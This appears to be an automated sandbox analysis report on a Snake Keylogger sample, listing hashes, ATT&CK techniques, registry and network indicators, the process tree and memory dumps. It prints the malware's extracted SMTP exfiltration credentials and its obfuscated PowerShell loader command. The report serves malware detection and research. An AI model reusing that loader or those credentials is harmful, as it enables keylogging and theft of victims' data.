snakekeylogger | ca5a0e2963dc959524712f6d71b937d20a2bf15a4fece708ede9a84b50bb2ebf

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-11-2024 10:09

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General

Target

document.exe
Size

548KB
MD5

682e0e22ac2f06d26d24cac1769e1b80
SHA1

1302dd34b80e32415baacafecdfe31d61d0dd563
SHA256

51d366ab87eb5988f96d068d503d21b801b5df4535b8851364e56cbacb8fab82
SHA512

083c2225192987117d84bbbdbca228937f570fe31ca90aaff3a8cf6b4c1822a1b39523424723bc596056823c338cd7db193777b36487cf732bb526176935daa2
SSDEEP

12288:/BvLTWCL5Bj6NdVFB2dDG8DLh3g1prEPwdOC18:RhTmNFB2f2bJfG

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.tumteks.com
Port:
587
Username:
[email protected]
Password:
Tt36556300Ss.
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral4/memory/1560-75-0x0000000000E80000-0x00000000020D4000-memory.dmp	family_snakekeylogger
behavioral4/memory/1560-76-0x0000000000E80000-0x0000000000EA6000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
21	1560	msiexec.exe
23	1560	msiexec.exe
25	1560	msiexec.exe
27	1560	msiexec.exe
31	1560	msiexec.exe
34	1560	msiexec.exe
36	1560	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	drive.google.com
21	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1560	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4348	powershell.exe
1560	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4348	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	document.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
1560	msiexec.exe
1560	msiexec.exe
1560	msiexec.exe
1560	msiexec.exe
1560	msiexec.exe
1560	msiexec.exe
1560	msiexec.exe
1560	msiexec.exe
1560	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4348	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeIncreaseQuotaPrivilege	4348	powershell.exe
Token: SeSecurityPrivilege	4348	powershell.exe
Token: SeTakeOwnershipPrivilege	4348	powershell.exe
Token: SeLoadDriverPrivilege	4348	powershell.exe
Token: SeSystemProfilePrivilege	4348	powershell.exe
Token: SeSystemtimePrivilege	4348	powershell.exe
Token: SeProfSingleProcessPrivilege	4348	powershell.exe
Token: SeIncBasePriorityPrivilege	4348	powershell.exe
Token: SeCreatePagefilePrivilege	4348	powershell.exe
Token: SeBackupPrivilege	4348	powershell.exe
Token: SeRestorePrivilege	4348	powershell.exe
Token: SeShutdownPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeSystemEnvironmentPrivilege	4348	powershell.exe
Token: SeRemoteShutdownPrivilege	4348	powershell.exe
Token: SeUndockPrivilege	4348	powershell.exe
Token: SeManageVolumePrivilege	4348	powershell.exe
Token: 33	4348	powershell.exe
Token: 34	4348	powershell.exe
Token: 35	4348	powershell.exe
Token: 36	4348	powershell.exe
Token: SeDebugPrivilege	1560	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 4348	4544	document.exe	83
PID 4544 wrote to memory of 4348	4544	document.exe	83
PID 4544 wrote to memory of 4348	4544	document.exe	83
PID 4348 wrote to memory of 1560	4348	powershell.exe	96
PID 4348 wrote to memory of 1560	4348	powershell.exe	96
PID 4348 wrote to memory of 1560	4348	powershell.exe	96
PID 4348 wrote to memory of 1560	4348	powershell.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\document.exe
"C:\Users\Admin\AppData\Local\Temp\document.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Skakmatterne=Get-Content -Raw 'C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Myomectomy.Und';$Elske=$Skakmatterne.SubString(43098,3);.$Elske($Skakmatterne)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qbswuewa.jvh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Acclimate.Dec

Filesize
314KB

MD5
ab0b1f8d712c0b3f8cf3fdc0fedd0352

SHA1
bd67c0e83b022a846b9c005ef6130e9e810d5bf7

SHA256
433d5ffc66b965621e41f5af742682a475506f096daf6489fdb822b103812fae

SHA512
927a00d738d81894475420fe4f33a257b0512cb887ae144b16ec4ad4cc145dba8b2d10dc9bfdaccb06c3fc7b43e933b10b07ddee4571d2e061a34150a958fc3e

Download Submit
C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Myomectomy.Und

Filesize
72KB

MD5
ef1b436f4a2cb4f3dcc5b90c1fc1e3b7

SHA1
5e7751303869e1b5be0b5329e358d587838ec72d

SHA256
e44d99f5ed408fde60776bc82f30c9ebd9f1dad717cd5d050e9e58070b8af9f6

SHA512
344208d055522ee3c65383967f7f27b037e3a9af430a535897942a275c5e6f0af41e99c5a749ce1ac4cea5b2a61fbb1c1b15267973ce9c0d3eabc8fac4373d9d

Download Submit
memory/1560-82-0x0000000022690000-0x000000002269A000-memory.dmp

Filesize
40KB

Download
memory/1560-81-0x00000000226F0000-0x0000000022782000-memory.dmp

Filesize
584KB

Download
memory/1560-80-0x0000000022820000-0x00000000229E2000-memory.dmp

Filesize
1.8MB

Download
memory/1560-79-0x0000000022050000-0x00000000220A0000-memory.dmp

Filesize
320KB

Download
memory/1560-77-0x0000000021BD0000-0x0000000021C6C000-memory.dmp

Filesize
624KB

Download
memory/1560-76-0x0000000000E80000-0x0000000000EA6000-memory.dmp

Filesize
152KB

Download
memory/1560-75-0x0000000000E80000-0x00000000020D4000-memory.dmp

Filesize
18.3MB

Download
memory/4348-25-0x00000000063C0000-0x000000000640C000-memory.dmp

Filesize
304KB

Download
memory/4348-49-0x0000000007980000-0x00000000079AA000-memory.dmp

Filesize
168KB

Download
memory/4348-26-0x00000000068F0000-0x0000000006986000-memory.dmp

Filesize
600KB

Download
memory/4348-27-0x00000000068A0000-0x00000000068BA000-memory.dmp

Filesize
104KB

Download
memory/4348-28-0x0000000007370000-0x0000000007392000-memory.dmp

Filesize
136KB

Download
memory/4348-29-0x00000000079E0000-0x0000000007F84000-memory.dmp

Filesize
5.6MB

Download
memory/4348-24-0x0000000006380000-0x000000000639E000-memory.dmp

Filesize
120KB

Download
memory/4348-31-0x0000000008610000-0x0000000008C8A000-memory.dmp

Filesize
6.5MB

Download
memory/4348-33-0x00000000703C0000-0x000000007040C000-memory.dmp

Filesize
304KB

Download
memory/4348-34-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-32-0x00000000077D0000-0x0000000007802000-memory.dmp

Filesize
200KB

Download
memory/4348-35-0x0000000070540000-0x0000000070894000-memory.dmp

Filesize
3.3MB

Download
memory/4348-46-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-45-0x0000000007810000-0x000000000782E000-memory.dmp

Filesize
120KB

Download
memory/4348-47-0x0000000007840000-0x00000000078E3000-memory.dmp

Filesize
652KB

Download
memory/4348-48-0x0000000007940000-0x000000000794A000-memory.dmp

Filesize
40KB

Download
memory/4348-50-0x00000000079B0000-0x00000000079D4000-memory.dmp

Filesize
144KB

Download
memory/4348-6-0x00000000745AE000-0x00000000745AF000-memory.dmp

Filesize
4KB

Download
memory/4348-51-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-52-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-53-0x00000000745AE000-0x00000000745AF000-memory.dmp

Filesize
4KB

Download
memory/4348-54-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-55-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-23-0x0000000005EA0000-0x00000000061F4000-memory.dmp

Filesize
3.3MB

Download
memory/4348-57-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-59-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-58-0x0000000008C90000-0x000000000A7D1000-memory.dmp

Filesize
27.3MB

Download
memory/4348-61-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-62-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-12-0x0000000005CC0000-0x0000000005D26000-memory.dmp

Filesize
408KB

Download
memory/4348-13-0x0000000005D30000-0x0000000005D96000-memory.dmp

Filesize
408KB

Download
memory/4348-11-0x00000000053C0000-0x00000000053E2000-memory.dmp

Filesize
136KB

Download
memory/4348-10-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-9-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4348-8-0x0000000005560000-0x0000000005B88000-memory.dmp

Filesize
6.2MB

Download
memory/4348-7-0x0000000002D90000-0x0000000002DC6000-memory.dmp

Filesize
216KB

Download